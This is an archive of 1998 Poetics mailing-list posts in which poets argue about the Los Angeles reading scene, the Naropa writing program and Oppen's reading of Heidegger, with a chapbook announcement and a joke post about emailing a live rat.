> *Three: In case I sound too critical. Naropa has its foibles but it's program is run by people truly crazy about poetry and informed and committed to the avant garde or alternative or wateva ya call it, and are supportive of passing on the tradition. The faculty rocks, and what does Anselm Hollo not know about that is interesting? Anne Waldman deserves all the hero-worship she gets. Besides which (I'm adding this today) what Patrick says is true, the pieces she read at the Fox from Iovis 3 knocked me off my seat. Totally urgent and unsentimental.*
>
> *I hope I didn't just bare myself too much in public.*

Hey Rachel -- After being bit on the ass, it's hard to know how much to bare... Here's my 2 cents on Naropa (I finished my MFA there last year): I did take at least two classes that directly addressed women writers and writing, and I didn't have such a bad time as Rachel doing the contemplative thing (though it does fit in oddly at best with the rest of the writing & poetics program -- seems like it's a concession to the rest of the Institute, parts of which have expressed resentment toward the writing department for its "wild" image).

But really the best things about Naropa, other than actually getting a job when I finished the degree, have been Rachel Levitsky and Anselm Hollo -- and, more vicariously, Patrick Pritchett and Mark DuCharme.

I have a hard time believing anyone goes to school to learn to write -- how could one teach this? I think, retrospectively, I went to school to learn to edit (which I desperately needed) and to find someone to talk to about the things we do and things that are done to us with words. School isn't really necessary for any of this, but it makes it easier. "You don't need company to be a surrealist; you need company to be alive." (said Ted) Or as Anselm once said "we get together to make noises at each other." I don't know that this addresses Todd's original question...

Laura W.
--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *

"All music is music..." -- Ted Berrigan

* * * * * *

"It is very much like it" -- Gertrude Stein

↑ Index

429. **toddbaron**

Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth

Wed 15 Jul 1998

---

yr right--I'm bitter. But the dialogue I'm interesting in fostering and seeing fos-ater has directly to do with readings! Yes--Beyond Bar. gets FEW attendeees for important work while hundreds will show up for a reading by Wanda Coleman or Henry Rollins--yeah--rock'roll! THe program there does a great job--I'm only bitter about 20 years here trying to make things work. LITTORAL BOOKS, Ri-BOT, WITZ, ReMAp--are about it--and poorly said--too much politics keeps folks apart!

I'm reading with Selby down here next week and afraid we'll have 5 people. Last I read up north there were 40, THat says alot--to me--about the dialoguae that's active. I wished I'd heard you read! SkyLight seems interesting--and on teh "other" side of town--which is nice!

Anyway--

Tb

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430. **David Baratier**

Re: Call Forth Further Notes to Poetry -Forwarded

Wed 15 Jul 1998

Doug & Tony

All of these poems you have forwarded to the list look like poems which really bores me senseless. Please keep this hopeless dribble off our private listserv, where we prefer to talk about poems rather than actually have to read one. While your at it, stop implicating our innocent Daniel in your scheme. Get a non corporate e-mail so you can post this crap yr damn selves you cheap magnetic poetry reading scum.

Be well

David Baratier

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431. **George Thompson**
Re: The Real Last Blast from Naropa
Wed 15 Jul 1998

> *Great report in all particulars, girlfriend. I have a feeling that that is the same sassy little dog that ruined somebody's blanket with its voluminous excrement. Which the distinguished wife of a distinguished foreign poet subsequently lay in unawares as the light was failing. And which a distinguished poet from Naropa herself very nearly sat in. As in your case, the owner of the beast maintained a studied (or is that stoned?) obliviousness as to her responsibility.*
>
> *Patrick*

Clearly this "sassy little dog" is the soul of a poet, probably the soul of a recently departed poet [though I wouldn't know which one], now returned to bite us, shit on us, and have us roll in its voluminous excrement, as you so nicely put it [where I come from, this is called "influence"]. I know all this is true because I have studied Buddhism. You should too. Good for one's poetics. Or maybe not.

Recently returned myself [from elsewhere], I thank you for this report from Naropa.

GT

↑ Index

432. **toddbaron**
Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
Wed 15 Jul 1998

---

ps: Bill Mohr actually has attacked "Language" writing and other schools outside of the confessional arena. Hell, once he even wrote me --years ago--that the "new group" (1980) of poets were untalented and shuld simply STOP writing! Believe me, it's not just my own personal feeling that LA is a small town--outside of here many of those peots are unheard of and don't read magazines or books published by those outside of this here town. Sometimes I feel like I am stuck in a consistent circle of voluntary inmates! That's why I go to SF at least 4 times a year--to go to readings and buy books!

Tb
(ReMap)

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433. David Baratier

new release

Wed 15 Jul 1998

Some may be interested in our new title. Advance orders taken now.

Pavement Saw Press Chapbook Award Series
Perfect bound ISBN 1-886350-80-9 Price: $5.00

Right Livelihood was selected by Jim Daniels
as the 1997-98 winner of Pavement Saw Press Chapbook Award.

Right Livelihood is full of both a hard-earned reverence and a refreshing irreverence. David Brook's is not afraid to poke fun at himself—one man trying to cope with life's absurdities. Much of this work is funny, truly joyful. The poems are "expecting something to happen," even on the gritty floor of a meatpacking plant. The wonder here is that something great often does happen. These poems celebrate our continuing urge to dream. As we discard our "golden visions" of youth, we must replace them with something. The poems of Right Livelihood replace those visions with a bemused acceptance— "all the gaudy world clearing my mind/ like an improbable plane gliding/ over a mountaintop." These poems are full of the kind of laughter that hurt just a little bit—laughter that sinks in, and stays with you for a long time.

--Jim Daniels

There is a strong consistent personal voice here, one that may have Eros in the stomach or specialize in detesting or renting out illusions. Music, laughter, and insight course like clear water through these poems.
--Karl Patten

Witty and elegant, unswervingly aware of life's absurdity, the poems in David Brooks' Right Livelihood drill steadily into the heart and make us ask for more.
--Harry Humes

David Brooks was born and raised in central Pennsylvannia. He has worked in a meat packing plant, a hospital, a nursing home, has installed insulation, been a masseur, an advertising copywriter, and, for a brief period of time, a salesman. He lives in Hughesville, PA with his wife.

The Pavement Saw Press Chapbook Award was established in 1995 to promote writers whose work challenges conventions of contemporary poetry while encouraging multiple readings. Writers world-wide are invited to participate. Each year, one manuscript is selected by a writer with a thorough familiarity of the small press realm. Publication, a prize of five hundred dollars, and ten percent of the book run was awarded to the winner.

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434. **toddbaron**
Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
Wed 15 Jul 1998

Safdie Joseph wrote:
>
> Todd, Elizabeth -- it's been many years since I helped run the Wednesday
> night poetry workshops at Beyond Baroque, but that was really the only
> "scene" I ever knew, and still is, I suspect. Do you, though, know
> Holly Prado, Harry Northrup, Bill Mohr (an L.A. mover and shaker if
> there ever was one), Phoebe MacAdams, Lewis Macadams, Jim Krusoe, Jack
> Grapes, Amy Gerstler, Dennis Phillips, Paul Vangelisti . . . . well,
> those were only the people I knew and hung out with, but there were
> others (Dennis Cooper, of course, before his move to New York) -- but
> really -- I admit it can seem a bit provincial compared to the Bay Area
> in terms of poetry, but that's the ONLY contest it loses, isn't it?

I think my bitter mail got lost in the shuffle--but let me simply say that the poets you mentioned--and this outside of their own work as writers--have primarily been exclusive in terms of going to others readings--promoting others work outside of a "pop" and confessionalist sensibility. That years before when Barrett W. read to an audience of 8 I was ashamed to be a poet in LA. THat same thing happened to Robert Duncan year ago--to Fanny Howe recently--etc. Few poets that are listed in your note suport the work of others besides friends. Yes, I am bitter--but my job as an editor and teacher is not simply to read and promote and publish the work of those I like--but to promote and publish a POETICS that is important. I have published poetry by those whom I don't think highly of--but whose work I believe deserves to be read! Of those you mentioned only Paul V. (with whom I started Littoral Books years ago--along with D, Phillips and Martha Ronk and Lee Hickman) even show up at the readings that Sun and Moon give--while Douglas M. and others DO show up at B. B. occasionally! Damn! No compensations besides the sun! No--a scene is unimportant--a dialectic is of utmost importance!

Todd Baron
(ReMap)

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435. **toddbaron**
Re: the poetics of importance
Wed 15 Jul 1998

Jordan Davis wrote:
>

> Todd --
>
> I think I've found the problem -- there is no end to the poetics of
> importance -- not that anybody wants to be unimportant -- or is --
>
Jordan:

or that anyone wants to be--

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436. Tosh
Re: New title and news
Wed 15 Jul 1998

I just want to recommend a fantastic title from Douglas and Sun & Moon. It's DREAM STORY by Arthur Schnitzler. I haven't finished it yet, but so far it is a wonderful book. Very sexy (well, at least to me!) I believe this is the book that Kubrick is filming right now. If so, in his hands, it should be an intersting film. Go buy it!!

just a fan,
tosh

Tosh Berman
TamTam Books

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437. Steve Shoemaker
strange query
Wed 15 Jul 1998

Well, it's been a while since i've decloaked but I have an odd request, which comes with a little story. My father just came across a fellow whose father was a vaudevillian. In the course of his act he would recite some sixty different poems. This fellow my father met, the son who is now an old man, has spent years tracking down all of these poems and compiling them into a little pamphlet. That is, *all but one*. The lines of the missing poem would be recited by his father whenever they encountered a railroad track while driving:

> Giving lurching Lizzy
> all the gas that he could give her...

At this point, his father wld hit the gas and cross the tracks. I'm guessing about the line break. Of course that's Lizzy as in Tin Lizzy, & I must say I'm charmed by the mimetically lurching trochees. Any old codgers and/or masters of arcana out there who can shed some light?

Thanks, Steve
Steve Shoemaker
Assistant Professor
English Department
Wake Forest University
Winston-Salem, NC 27109
[redacted]

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438. **toddbaron**
Re: your order
Wed 15 Jul 1998

---

ps: re yr other message to (me)? (the list)?

I certainly would not say there is no poetry "scene" in LA--I would say that it is not very public! In writing to folks outside of LA and even here many don't know about events--not well publizised really--outside of those that get say Sun and Moon mailings. I sent out 100 invites for my ReMap party and 200 per event while at Otis (with Noah). We tried to let the world know about the events. It's hard--i know--but the scenec needs to be les like the art world and more like a communtiy. I let the damn weekly know about every event I'm involved with and they have listed every event. I'd like to see more people at Sun and Moon. And believe me, my heart has been broken over many of these issue for years! I've been here my whole life and have heard every excuse for damning B. B. (many, mine) and/or your ventures or Littorals etc. When it comes down to it though I believe deeply that if you're not included you are excluded! That's why I have 45 subscribers outside of LA for ReMap and only 3 IN the town I was born in!

Tb
(ReMap)

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439. **Tosh**
Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
Wed 15 Jul 1998

Speaking as an ex- director for Beyond Baroque, I don't think it has anything to do with politics, but more with promotion. Plus there are so many types of people involved with the writing scene - and I mean all types. Some are not at all interested in what's out there, but the poets/writers who have been working on their work for a long time are interested in other readings, etc. Plus location is everything. This is not only for readings, but also for the films that I used to show. For reasons I SORT of understand, people don't like to drive across town for any reason. Los Angeles is sort of divided by East side of L.A. and then there is the westside of L.A. So in general I think it has more to do with time, paying attention, and lack of (or bad) promotion.

I can't speak for all readings, but when Lynne read at Beyond Baroque it was a full house... and yes, rock n' roll always bring people out (ie Rollins, etc.)

ciao,

Tosh Berman
TamTam Books

↑ Index

440. **Tosh**
Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
Wed 15 Jul 1998

>ps: Bill Mohr actually has attacked "Language" writing and other schools
>outside of the confessional arena. Hell, once he even wrote me --years
>ago--that the "new group" (1980) of poets were untalented and shuld
>simply STOP writing! Believe me, it's not just my own personal feeling
>that LA is a small town--outside of here many of those peots are unheard
>of and don't read magazines or books published by those outside of this
>here town. Sometimes I feel like I am stuck in a consistent circle of
>voluntary inmates! That's why I go to SF at least 4 times a year--to go
>to readings and buy books!
>
>
Bill is Bill. He has/had strong opinions in the past. I don't think he
speaks for a group of poets, but for himself. Basically he's a very

passionate man and that's not so bad. And I don't agree with his comments above.

Tosh Berman
TamTam Books

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441. **Tosh**
Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
Wed 15 Jul 1998

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>
> *Todd Baron*
> *(ReMap)*

I would respectfully disagree about the above. There is a big difference between a Sun & Moon gathering and a Beyond Baroque reading. For instince Beyond Baroque is really open to the general public, and Sun & Moon is mostly a small gathering of friends and writers. At Beyond Baroque we produced (and they still do of course) a calendar that goes out to a mailing list that we collected at the door and elsewhere. As far as I know, Sun & Moon doesn't really advertise, except for individuals calling other individuals, etc. Also I don't normally see people going to Beyond Baroque unless they know the writers, etc. So speaking for myself and perhaps others, they didn't know or wasn't aware that things were happening at sun & moon. There are a couple of type of audiences at the Baroque:

One's who go every week no matter what.

Those who know the poet or author.

And those who read about it in a listing in the L.A. Weekly, etc. When we get a big plug usually we get a BIG crowd.

I also want to add that certain writers from Littoral and Sun & Moon were (and perhaps are) members of Beyond Baroque.

And I might add that people go to things they are interested in. There is room for all types of poetics. And yes, sometimes the small readings are the best!

As for the comment "Few poets that are listed in your note suport the work of others besides friends" is not true in my opinion. I truly find writers/poets are the most generous group of people - including the names above.

ciao,

Tosh Berman
TamTam Books

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442. **Tosh**
Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
Thu 16 Jul 1998

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>
> *----------*
> *Tosh Berman*
> *TamTam Books*
> *----------*

Excuse me! When I write on the net sometimes it is between acts of eating and brushing one's teeth. When I said "I don't agree with his comments above,I am talking about Bill's (his opinion then, still?) commentary about Language, etc.

ciao baby,

Tosh Berman
TamTam Books

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443. **Tom Beard**
Re: romantic-not women duelling
Thu 16 Jul 1998

Joe,

> *Tom, I certainly agree with you that lust is a complicated matter! One could also say that, in Kundera, it's "mediated" through an impossible political situation where sexuality is seen as the only outlet for desire and thus even more desperate and compulsive.*

Very much so. I also see the (male) promiscuity in early Kundera as very much tied up with the sixties, and the equation "sleeping around = liberation". But I'll try anything once.

> *I'd like to stay out of the self/love battle, though -- if anything, my sympathies are with Henry, though I usually think he winds up overstating the modest points he wants to make and ends up sounding like a buffoon.*
>
> *Nice quotes! Though, why "panic"? When I'm, shall we say, under the influence of Aphrodite, I don't usually recognize panic as a part of the*

> *complex. And the relative integration or dis-integration of the self doesn't much come to mind either!*

The Saint-Point quote (from the Futurist Manifesto of Lust, a gloriously bizarre document) comes after another sentence, "Lust is the expression of a being projected beyond itself". This, I think, ties "panic" in with the loss of self, or at least a realisation of the boundaries of the self.

Saint-Point (or at least her translator) uses "lust" in a slightly different manner from its current connotations of basely instinctual rutting, what my flatmate from Birmingham calls the "Phwoar!" reaction. She talks of prising lust away from the fey romanticism of flowers and violins, but also talks about turning lust into a work of art. So, it's a concept that's earthier than the "frenchified desire" that the list discussed a while back, but more complex than what most strip-joint patrons feel.

Kapka Kassabova also investigates the connection between self and desire by writing of home and exile (she's a Bulgarian immigrant to New Zealand). I've come to a feeling that desire in all of its forms (whether for a lover, for family, for home and culture) is an act of annexation, an attempt to claim a part of the world as part of oneself. This is all still slopping around my head in a mass of unformed thoughts, quotes and intuitions, but I've begun to wonder whether the sort of poetry that I've been working for is a text that is to language what desire is to the self. Language caught in the act of desire, language "projected beyond itself", language aching for non-language and finding that it can never be reached. Maybe this is a definition of poetry. I don't know.

Speaking of Kundera, have you read "Getting used to dying" by (I think) Zhao Xianling? He's been called "the Chinese Kundera", and while that's a gross oversimplification, it's not too far off. An incredible book, anyway.

Cheers,

Tom.

↑ Index

444. Jordan Davis
liber libre tt o (shleep)
Thu 16 Jul 1998

---

what would freedo m be like?

I liked the misspelling from senor dohr

I thought it was like monk or at least like sonny sharrock

as if there were a continuum of jazz

in which case there is the white jazz of wha d'ya know praise be t npr

and there is ornette

dug dohr is somewhere near ornette

loft dude

may I quote bill??luoma

the narrator does stupid & forgetful things because his wife died. Douglass also has trouble with spelling and capitalization.

I THINK JENRALLY there is a sense of what weir spozeda do

which has nothin to do with what we wfell feel belhaven ale!

invwear my incwar incwar invest my r friends in belhaven ale!

a pint of plain is yoru only
yoruba
is o
is your only man,

Is five

↑ Index

445. **Christian Roess**
Re: Heidegger's Poetics in American Poetry
Thu 16 Jul 1998

> *On Wed, 15 Jul 1998*
> *Elizabeth Mathews Losh write*
>
> *and from his letters I know*
> *he was very moved by _Identity and Difference_ to the point of ascribing*
> *Yeatsian automatic writing to a particular incident,*

I suppose the 'particular incident' you are referring to is the composition of "Route" and what ultimately became section 13 . (You have obviously read the note Oppen wrote to himself on June 1, 1966 , included in Selected Letters of George Oppen , waking up after writing the lines he believed he would have to put quotation marks around , thinking the lines were from Heidegger, and "re-acting with shock"(to quote Oppen) , that they occurred nowhere in the essay 'Identity and Difference', where Oppen was sure he had read there.

Though be careful calling this Yeatsian. Did Oppen ever discuss in his poetry or letters or conversations at anytime, the sense of the process as being anything Yeatsian or 'automatic writing'? And yet it does seem reasonable in some way to talk not about the "mystical" . Would it be more precise to call it"uncanny", eerie, unsettling, troubling. Perhaps 'panic' could be used here to get close to

Duncan's sense of the word.I think this is one place where you need to differentiate between "visionary recital" and "versionary incitement". Maybe one could try to stand in for Oppen at this moment, reacting with shock, then , imagine yourself trying to hold off the sense of panic by focusing in on

"a care for inaccuracies; I strive in the poem not to make some imitation of a model experience but to go deeper and deeper into the experience of the process of the poem itself. "(Robert Duncan)

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446. Christian Roess

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.Panic'd & troubled because he's watching himself there , but also opposing himself . At this point I guess I would need to mention something about antinomy(and how this does or does not remain an unresolved conflict);and I know Oppen mentions this at some point, but I would need to do some digging through the letters.

******

I like very much something Emmanuel Levinas said in an interview about Heidegger , and what it "meant" to first read him (obviously Levinas is credited by Sartre and others as introducing into France Husserl's 'phenomenology' and Heidegger's critique of it, in the mid 1930's).

LEVINAS>>"With Heidegger, 'verbality' was awakened in the word being, what is event in it, the 'happening' of being. . .Heidegger accustomed us to this verbal sonority. This reeducation of our ear is unforgettable, even if banal today."<<

How are students in the classroom taught to listen to Oppen? How can you accustom the student to a reading of poetry? With Heidegger do they feel that they are reeducating the ear to listen to what is not "there" to be heard? Or is philosophy and the teaching of poetry just another example of how we end up talking past each other?

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And, inclining with the ear, what kind of head do they bring? Was it Wittgenstein who said that a philosopher's head is full of question marks? Won't the discussion of Heidegger (ie.,the essence of man takes the form of a question) force them to bring this kind of head to Oppen? Is it valid to read him with that kind of head? You know, Oppen and his poetry of ideas? Lots of problems . LOTS. Isn't this bound to be a mistake? Or is it a mistake?

Where do question marks stop filling the 'head' and instead become, for example, 'marks whereby the body was said to be a world'(M.P.) , which in turn becomes another version and possible reading?

***

I just recently mentioned in a post a few days ago about "Oppen's breakthrough year of 1966", and this incident was part of that. One could argue for other breakthrough years, ie. Meeting Mary Colby and finding poetry in 1926...late

20's meetings with Zukofsky and some aquaintance with Reznikoff, mostly reading a lot of his poetry…Wounding at the Battle of the Bulge 1944…Flight to Mexico to escape the McCarthy, et.al withhunts in the early 1950's…Return to poetry after the 'Rust in Copper' dream (controversy as to the year…perhaps 1958)…but for a number of reasons you've got to consider this year 1966 for many reasons which I can't describe here).

*****

I'll wait and see what others mention about Heidegger in the classroom. This has been discussed on the list before. It will probably raise the temperature some.

I am reconsidering my position toward Heidegger which I had when I first read What is Called Thinking or most ofPoetry, Language, and Thought. I think part of my position stemmed from feeling that we knew Heidegger must have been sincere because of how important poetry was to his teaching and writings…sincerety, is perhaps the word I'm searching for here…But is Heidegger' s attention to poetry, especially Holderlin, proof of something necessarily?

I question that initial gut feeling from my first readings of Heidegger perhaps illustrated in this remark by Emmanuel Levinas in a conversation with Philippe Nemo published in Ethics and Infinity:

LEVINAS>>"I know that the homage I render to Sein und Zeit seems pale to the enthusiastic disciples of the great philosopher. But I think the later work of Heidegger, which does not produce in me a comparable impression, remains valuable through Sein und Zeit. Not, you well know ,that it is insignificant; but it is much less convincing. I do not say this owing to Heidegger's political engagements, taken several years after Sein und Zeit, even though I have never forgotten those engagements, and though Heidegger has never been exculpated in my eyes from his participation in National-Socialism."

PHILLIPE NEMO>>In what does the second part of the Heideggerian work disappoint you?

LEVINAS>>" Perhaps by the disappearance in it of phenomenology properly speaking; by the first place that the exigesi fo Holderlin's poetry and the etymologies began to occupy in his analysis. O course, I know that in his thought the etymologies are not a contingency; for him language bears a wisdom which must be clarified. But this way of thinking seems to me much less verifiable than that of Sein und Zeit- - - a book in which, it is true, there are already etymologies , but adjacent and which only complete wht is eminently strong in the analysis proper and in the phemomenology of existence."

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449. **rsillima**
LA Confidential
Thu 16 Jul 1998

Bill Mohr's always been supportive and it was fun to see him when I was in San Diego most recently.

But I understand the impulses behind Todd's original complaint. Scenes have their own unique dynamics and it seems like every city -- NYC and SF included -- have their fallow periods from time to time. I've given readings to audiences of 3 (at Hallwalls in Buffalo -- it was one of the best readings I've ever given) and Leslie Scalapino and I once gave a reading to an audience of 5 in SF (at USF to be exact). The largest audience I ever read to in LA came primarily to hear my reading mate, Jack Grapes. But I had a huge crowd once in Missoula. And likewise on Maui at a little used bookstore/cafe.

Lee Hickman used to complain that he caught static from his local friends for publishing anyone outside LA in Boxcar, which only made him more determined when he moved on to Temblor. Some of the early SF langpo publications also had a decidedly "west of the Bay Bridge" bias that always made me (who'd started publishing earlier and had friends in far places like NY and Chicago) a little nervous.

Time and mobility has a tendency to take care of much of this. Thanks to the internet Meikal And & I can be virtual neighbors, tho his woods and my own must be very different.

Ron Silliman
Chester County, PA

↑ Index

450. **Susan Wheeler**
Re: The Writing Center, San Diego
Thu 16 Jul 1998

Thanks for the information, and sorry to hear it.

At 08:20 AM 7/14/98 -0700, you wrote:
>Susan
>
>The Writing Center closed due to lack of funds -- unfortunately not doing
>the kind of business they needed to to keep afloat
>
>bill marsh

>
>At 09:31 PM 7/13/98 -0400, you wrote:
>>Any information on The Writing Center's status would be appreciated. Their
>>phone seems to be disconnected after being connected a brief month or two
>ago.
>>
>>Thanks all, and thanks for the thinking these days. Oblomov's mine
>>(character thread).
>>
>>Susan Wheeler
>>[redacted]
>>voice/fax [redacted]
>>
>>
>
>- -
>William Marsh | PaperBrainPress
> http://bmarsh.dtai.com
>- -
>
>
Susan Wheeler
[redacted]
voice/fax [redacted]

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451. **Douglas**
Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
Thu 16 Jul 1998

Tosh,

I certainly was not trying to compare the two organizations. However, there is no question that Sun & Moon--with its bookstore, its salons and the drama reading series we co-sponsor with Bottoms Dream--has served as a kind of smaller literary center. I should add that our mailing list includes about 350 people, and fliers are sent our for each salon and postcards every month for the drama reading series (which is also sent to about 500 people by Bottom's Dream) so neither series of events represents "a small gathering friends and writers." As with Beyond Baroque, of course, we do not ever get the full audience. But they're invited; the public is also free to attend. Tosh, maybe you should attend.

Douglas

Tosh wrote:
>
> >Safdie Joseph wrote:
> >>
> >> Todd, Elizabeth -- it's been many years since I helped run the Wednesday
> >> night poetry workshops at Beyond Baroque, but that was really the only
> >> "scene" I ever knew, and still is, I suspect. Do you, though, know
> >> Holly Prado, Harry Northrup, Bill Mohr (an L.A. mover and shaker if
> >> there ever was one), Phoebe MacAdams, Lewis Macadams, Jim Krusoe,
Jack
> >> Grapes, Amy Gerstler, Dennis Phillips, Paul Vangelisti . . . . well,
> >> those were only the people I knew and hung out with, but there were
> >> others (Dennis Cooper, of course, before his move to New York) -- but
> >> really -- I admit it can seem a bit provincial compared to the Bay Area
> >> in terms of poetry, but that's the ONLY contest it loses, isn't it?
> >
> >I think my bitter mail got lost in the shuffle--but let me simply say
> >that the poets you mentioned--and this outside of their own work as
> >writers--have primarily been exclusive in terms of going to others
> >readings--promoting others work outside of a "pop" and confessionalist
> >sensibility. That years before when Barrett W. read to an audience of 8
> >I was ashamed to be a poet in LA. THat same thing happened to Robert
> >Duncan year ago--to Fanny Howe recently--etc. Few poets that are listed
> >in your note suport the work of others besides friends. Yes, I am
> >bitter--but my job as an editor and teacher is not simply to read and
> >promote and publish the work of those I like--but to promote and publish
> >a POETICS that is important. I have published poetry by those whom I
> >don't think highly of--but whose work I believe deserves to be read! Of
> >those you mentioned only Paul V. (with whom I started Littoral Books
> >years ago--along with D, Phillips and Martha Ronk and Lee Hickman) even
> >show up at the readings that Sun and Moon give--while Douglas M. and
> >others DO show up at B. B. occasionally! Damn! No compensations besides
> >the sun! No--a scene is unimportant--a dialectic is of utmost
> >importance!
> >
> >Todd Baron
> >(ReMap)
>
> I would respectfully disagree about the above. There is a big difference
> between a Sun & Moon gathering and a Beyond Baroque reading. For in-
stince
> Beyond Baroque is really open to the general public, and Sun & Moon is

> mostly a small gathering of friends and writers. At Beyond Baroque we
> produced (and they still do of course) a calendar that goes out to a
> mailing list that we collected at the door and elsewhere. As far as I
> know, Sun & Moon doesn't really advertise, except for individuals calling
> other individuals, etc. Also I don't normally see people going to Beyond
> Baroque unless they know the writers, etc. So speaking for myself and
> perhaps others, they didn't know or wasn't aware that things were happening
> at sun & moon. There are a couple of type of audiences at the Baroque:
>
> One's who go every week no matter what.
>
> Those who know the poet or author.
>
> And those who read about it in a listing in the L.A. Weekly, etc. When we
> get a big plug usually we get a BIG crowd.
>
> I also want to add that certain writers from Littoral and Sun & Moon were
> (and perhaps are) members of Beyond Baroque.
>
> And I might add that people go to things they are interested in. There is
> room for all types of poetics. And yes, sometimes the small readings are
> the best!
>
> As for the comment "Few poets that are listed in your note suport the work
> of others besides friends" is not true in my opinion. I truly find
> writers/poets are the most generous group of people - including the names
> above.
>
> ciao,
>
> ----------
> Tosh Berman
> TamTam Books
> ----------

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452. **Poetics List Administration**

this is only a test

Thu 16 Jul 1998

FIRST MAMMALS SENT AS ATTACHMENTS

Buffalo, New York. July 16 (MP): With the recent upgrade of UB's email system, it is now possible to send live animals across the Internet. Researchers hope this will greatly expand the travel industry by the year 2010. As a test, Poetics is sending out a small "Rat." If the rat is not alive when you decompress it, or if for some reason you cannot receive the small lab rat, your matter filters are not adjusted properly. Also, if the Rat has any physical or behaviorial problems, or if it does not exactly look and smell like a rat, etc., then please report to the home office. The rat's first words should be (deadpan, of course): "Take me to your leader." * * * Our system came up only this morning. Apologies to all those whose lives may have been disrupted by the disruption in Poetics service.

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453. **Burt Kimmelman**

Re: Heidegger's Poetics in American Poetry

Thu 16 Jul 1998

Liz,

Saw your post on Poetics list. I'm at work and rushing around, and would very much like to have an extended dialogue with you about Oppen and Heidegger, about Oppen generally and about Heidegger generally. For now only these first thoughts/suggestions: In order of importance, perhaps: 1/ Contact Cid Corman in Japan (I have his address at home if you need it). He is absolutely a key figure for your inquiry, since he was an early translator of MH and as well an early conduit for GO to MH. He knows a lot about this, I suspect, that has yet to be written down. 2/ A couple of issues back in Talisman there was an essay on GO and MH (it still sits unread just in back of my keyboard, since I am slowly coming down from an incredibly busy year or two). 3/ Check out my just released book on William Bronk (it can be order from Associated University Presses at [redacted], but eventually the book will be in libraries) which contains some substantial informatio and analysis of GO and MH (as well as of WB and MH). I will also have an essay out from Sagetrieb on WB and GO that takes up the MH influence and in their case connection to a degree). Again, I don't have typescript on me at present to send you.

More later. . .

Oh yeah, there's someon at Ohio State I think who is doing an Oppen book (I have his edress somewhere and will try to send it along).

Good hunting,

Burt

Burt Kimmelman
Department of Humanities and Social Sciences
New Jersey Institute of Technology, Newark, NJ 07102
[redacted] (p) [redacted], [redacted] (f) [redacted] (i)
Home phone: [redacted]

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454. Burt Kimmelman
Re: Heidegger's Poetics in American Poetry
Thu 16 Jul 1998

---

my apologies to the list for my longish post to Liz which i meant to be back channel.

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455. Mark DuCharme
Re: Poetix programs?
Thu 16 Jul 1998

Todd--

my address is 2965 13th Street, Boulder, CO 80304.

I heard Diane DiPrima lecture on Shelley the first summer I was in Boulder. She was awesome.

Whitman is major, but what he was reacting to, & his sense of line, was an entirely different historical condition. We've had Williams & Creeley, among others, since.

I too reject a narrow interest in "self." This is why I say that I may be atypical of "Naropa poetics" (Laura, Rachel & a few others notwithstanding).

My own tendency, in my studies & in my writing, would be toward a non-"occult" reading of possibly occult texts, such as those of Spicer or Rimbaud who truly were interested in that sort of thing. This is not to "de-occult" their work, but to say that the occult axis is not my primary interest in them. This goes back to the spirituality thing, no focus for me; & the word on the page, the temporal mo(ve)ment, the poem as active gesture w/in such immediacy, the gestural move toward reader, then, would be a primary source of value. (Jackson Pollock's more of an "influence" in this regard than Duncan-- sorry).

Interesting though it is, I'd personally (respectfully) reject Duncan's notion of "occult science," er even occulting Dickinson. I do love "'Trust the poem' never the poet." Not sure how this relates to th' Naropa/NC thing....

What Naropa & New College have in common is they are Western United States, non-ivy league (i.e., NOT the Killer Bees) programs, grounded in, for lack of a better term, a "counterpoetics" tradition that is both a literary & a social nexus. I think that sense of mystery you speak to is different-- necessarily so-- for different practitioners, & thus is only a common ground in only the most general sense.

Interesting to (continue to) explore these connections/comparisons--

Best,

Mark

Todd Baron wrote:

>
>thank-you.
>
>Send me yr address so's I can send you ReMap #6.
>
>Anyways--the study of those mentioned has affected my work as a poet in
>various sense
>
>1) the poem as possible dialogue with epic--as history--as
> a sense so much more interesting than "self"
>2) Dickinson--and my study with Rbert Duncan and Arron Shurin--has
>affected my idea of what the poem is--that Robert said "Trust the poem"
>never the poet..per se--and that Emily Dickinson was an Occult
Poet--and
>that Robert said "All poetry is an occult scinece"
>3) Reading in Basic Texts--and studying--knowing whre the work comes
>from--the true history of the language--as Spicer said--paraphrased-in
>order to have Rabbit stew you gotta "catch the rabbit" first!
>4) Whitman gave me the idea of what the poem is for me--a poem that has
>everything to do with the Outisde world as repeated represented on my
>Inside--the line--the LINE--as the foundation of the poem--what a poem
>is anways--to look at--is lines--and the rejection of the then current
>line strangulation in sonnett/neat/form.
>
>Though my work is nothing like the above writers--I read them all the
>time--I learned to READ in Grad. school. I learned to read in 3rd
grade!
>
>THanks Mark--
>

>Your discussion of Naropa is interesting. I've wanted to see what the
>possible connected between New College Poetics and Naropa is--but I
>still see a different take--there--as there--was a long time ago at
>Naropa-- David Meltzer and Diane DiPrima most likely the poets I
studied
>with that have a Naropa Connection. Imagine the joy of studying
Kabbalah
>and The Roamtics with these two--and though my work as a poet doesn't
>directly engage(as you said yr studies don't) those "subjects"--the
>constant drive towards a given mystery--I believe that's what seperates
>the current "academic" departments of Creative Writing programs from
>those such as Naropa--and even SFSU--and New C.
>

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456. **Mark DuCharme**

Re: Poetix programs

Thu 16 Jul 1998

Rachel,

Thanks for your post. I didn't know about the added contemplative requirement, & this strikes me as useless.

When I was a student @ Naropa I co-organized two independent studies w/ other students & faculty, one on the Language Poets, the other on the Objectivists.

The lit curriculum is, or can be, a real weak point in the program-- hit or miss, as I was trying to convey, based on faculty interest. I think it's a scandal that figures like Stein, Niedecker, Woolfe, etc., haven't rated a major author course. Interest in non-Beat contemporary poetries/poetics among the writing community is shockingly low.

That said-- Anselm is a natural treasure, Jack a national wonder, & Anne continues to be a model of energy & endurance.

Is it baring oneself in public too much to speak the truth? For the sake of all concerned, for the sake of the work, I hope otherwise.

--Mark

Rachel Levitsky wrote:
>

>I'd meant to send this a few days ago but it accidentally went to
>ToddBaron.
>
>Mark and Todd et al,
>
>One: a correction: since Mark graduated there is a 3 credit
>"contemplative" requirement, which I think, more than make Naropa
>vaguely "spiritual" makes it directly parochial, a feeling I have had
>all along here. All the contemplative courses which fill the
